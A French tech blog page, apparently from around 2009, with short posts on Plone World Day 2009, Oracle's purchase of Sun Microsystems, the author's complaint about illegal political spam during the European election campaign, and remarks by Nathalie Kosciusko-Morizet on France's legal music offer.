Pilot Systems organise le Plone World Day 2009 à la Cantine le 22 avril prochain. L’occasion pour nous de voir ce qui se fait sur la planète Plone et des très (trop) nombreuses nouveautés de ces derniers mois. Et oui, Plone change beaucoup en ce moment et cette journée mondiale est pour les professionnels et amateurs éclairés qui utilisent Plone, l’occasion de rencontrer un public pour exposer les orientations, les projets, les innovations de ce système de gestion de contenu professionnel. Toonux participera bien évidemment à cette rencontre aux côtés de Pilot Systems et NPAI et de toutes personnes souhaitant se joindre à nous pour (re)découvrir ce CMS, qui reste à ce jour avec Drupal l’un des rares CMS à usage professionnel.
Au programme cette année : utilisation de Plone en environnement virtualisé avec Xen, Amazon, VMWare, KVM ainsi que Cloud Computing …
Il semble que IBM ai loupé le coche, Oracle annonce le rachat de Sun Microsystems pour la somme de 7,4 milliards de dollars.
L’information est parue sur BBC News et révèle que SUN est prêt à débourser $9.50 par action soit un bonnus de 42% par rapport à leur valorisation de vendredi dernier.
Espérons qu’Oracle saura préserver le caractère Open Source de Sun Microsystems qui est une entreprise qui a fait beaucoup pour le Libre. Les marchés, eux, accueillent plutôt bien la nouvelle, on s’en serait douté, l’action Sun ne se portait pas au mieux ces derniers temps.
Ce matin, c’est le second spam que je reçois pour la campagne des européennes de ce type. Un spam d’amateur d’une soit disant agence de presse.
Tout de suite, un premier détail attire mon attention, le spam vient d’un compte Gmail, ce dans le cadre d’une campagne electorale. Usuellement je ne fais pas attention à ce genre de spam, il partent directement dans /dev/null, mais là une somme d’éléments m’interpelle :
* il n’y a pas de moyen de se désinscrire de la liste
* mon mail a été collecté illégalement pour atterrir dans cette liste et je compte bien savoir comment
* Je ne fournis pas mon mail professionnel (ni de mail tout court) pour ce genre de choses, surtout à des gens du FN avec lesquels je ne partage AUCUNE affinité
* Il y a un contact presse en bas du courrier, il s’agit d’un co-listier de Monsieur Dubois, Monsieur Sanchez
* Je contacte donc Mr Sanchez, dont le numéro de téléphone est indiqué dans le spam, je lui demande tout de suite d’enlever mon mail de sa base de données, conformément à mon droit de retrait (il me dit qu’il n’est pas en mesure d’avoir accès à cette base de données), je lui demande alors des précisions sur la fameuse agence de presse … il n’en sait pas plus, il ne connaît pas leur nom, il n’a aucun contact à me donner (on en rediscutera au moment de la clôture des comptes de campagne).
* A la réception du premier spam, j’avais en retour aussitôt demandé le retrait de mon mail de la base de données de cette « agence ». Je n’ai bien évidemment eu aucune autre réponse que de recevoir le même spam 3 jours plus tard
* Il va de soi que je vais me garder le droit de porter plainte contre ce Monsieur Dubois et cette agence de guignols qui semble se foutre comme de l’an 40 de la législation pourtant très précise sur les courriers non sollicités, la collecte des adresses mails et la constitution de bases de données, l’OPT-in et le droit élémentaire de retrait…
Alors qui es tu Agence.Presse.Ile.de.France_AT_Gmail.com qui ne peut pas pas se payer un serveur de mail pour spammer, qui récupère ILLEGALEMENT des adresses mail, ne laisse pas le loisir de se désabonner de la liste, et utilise un compte GMAIL.
C’est puant d’amateurisme :
1° le spammeur agit depuis le territoire national,
3° les spams sont reçus sur mon adresse professionnelle,
4° pas de moyen de se désinscrire, personne ne répond quand on demande une radiation de la base de données,
5° le contact indiqué sur le mail ne dit ne pas connaître l’émetteur du spam alors que ce monsieur est co-listier du demandeur et responsable Presse (ben oui monsieur Sanchez, vous vous êtes payés ma tête là….)
6° je ne vais pas vous rappeler l’encadrement légal des campagne électroniques que chaque candidat se doit de connaître sur le bout des doigts, mais ce genre de petite histoire peut vous valoir une belle invalidation en bon et due forme, si, si, cherchez bien …
Nous voilà donc avec tous les ingrédients, même plus, nécessaires à faire condamner sur les fondements de la loi de 1978 l’agence et le commanditaire de cette campagne électronique. Et oui, il y a déjà eu des condamnations, plus que vous ne le pensez d’ailleurs.
Je me réserve évidemment le droit de donner une suite légale à cette affaire. J’ai très peu apprécié les réponses de Monsieur Sanchez qui s’est délibérément payé ma tête en prétendant ne pas être au courant de quoi que ce soit.
On va donc contacter cette fameuse agence de communication…
J’argue un mailing professionnel, une certaine Sandrine Leroy me répond, aucune autre information pas de signature, s’il s’agit d’une véritable société, les pratiques de cette dernière ne fleurent pas vraiment le professionnalisme, on verra bien si cette personne est enfin disposée à supprimer mon mail pro de sa base de données qui ne peut pas avoir été acquise de manière légale.
Prochaine étape, le recommandé avec la CNIL et la commission des comptes de campagne en copie.
PCInpact vient de publier un article dans lequel il reprend les propos de Nathalie Kosciusko Morizet qui souligne, comme le pense tous les internautes que l’offre légale est loin d’être satisfaisante :
« Personne dans le monde de l’offre légale et des musinautes n’est satisfait de l’offre actuelle » (…) « Elle est faible, je suis désolée de le dire. Elle est décevante, et pas toujours construite pour attirer l’internaute. Il faut y travailler. »
PCInpact met les propos de NKM en parallèle de ceux martelés par Chritine Albanel qui est elle très satisfaite de l’offre légale actuelle, plus drôle encore, avec ceux de Maxime Lombardini pour qui la chronologie des médias sur les séries est une aberration.
Comme nous l’avions prédit, NKM met les pieds dans le plat, espérons qu’elle sera entendue. Je réitère donc ma confiance en l’intelligence de NKM qui n’est rappelons le pas dans une situation très confortable.
Ce site utilise des cookies pour faciliter votre confort de navigation et sauvegarder vos préférences. Vous pouvez tout accepter, ou sélectionner ceux que vous souhaitez accepter.
Necessary cookies are absolutely essential for the website to function properly. These cookies ensure basic functionalities and security features of the website, anonymously.
Cookie
Durée
Description
cookielawinfo-checkbox-analytics
11 months
This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Analytics".
cookielawinfo-checkbox-functional
11 months
The cookie is set by GDPR cookie consent to record the user consent for the cookies in the category "Functional".
cookielawinfo-checkbox-necessary
11 months
This cookie is set by GDPR Cookie Consent plugin. The cookies is used to store the user consent for the cookies in the category "Necessary".
cookielawinfo-checkbox-others
11 months
This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Other.
cookielawinfo-checkbox-performance
11 months
This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Performance".
viewed_cookie_policy
11 months
The cookie is set by the GDPR Cookie Consent plugin and is used to store whether or not user has consented to the use of cookies. It does not store any personal data.
Functional cookies help to perform certain functionalities like sharing the content of the website on social media platforms, collect feedbacks, and other third-party features.
Performance cookies are used to understand and analyze the key performance indexes of the website which helps in delivering a better user experience for the visitors.
Analytical cookies are used to understand how visitors interact with the website. These cookies help provide information on metrics the number of visitors, bounce rate, traffic source, etc.
Advertisement cookies are used to provide visitors with relevant ads and marketing campaigns. These cookies track visitors across websites and collect information to provide customized ads.